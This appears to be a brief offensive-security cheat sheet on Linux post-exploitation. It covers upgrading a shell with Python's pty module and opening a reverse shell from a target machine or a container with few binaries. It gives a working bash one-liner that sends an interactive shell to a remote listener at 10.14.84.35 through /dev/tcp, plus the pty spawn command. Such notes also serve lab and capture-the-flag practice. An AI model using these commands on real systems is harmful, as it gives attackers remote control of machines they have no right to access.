Skip to content

Linux - Stabilisation & Post Exploitation

It's a good practice to stabilise the shell before moving on to post-exploitation activities.

Stabilising the shell

Python

Upgrade shell with Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

Getting a Reverse Shell In Limited Binaries Environment

In some cases, you may execute commands on the target machine, but the target machine may not have the binaries you need to establish a reverse shell, such as nc, python, or perl.

Bash

This bash reverse shell is a one-liner that can be used to establish a reverse shell on the target machine. It works perfectly on most Linux machines, even on containers that have limited binaries.

#https://medium.com/opsops/getting-reverse-shell-into-dorker-container-6b0e16483bf2
/bin/bash -c 'bash -i >& /dev/tcp/10.14.84.35/12345 0>&1'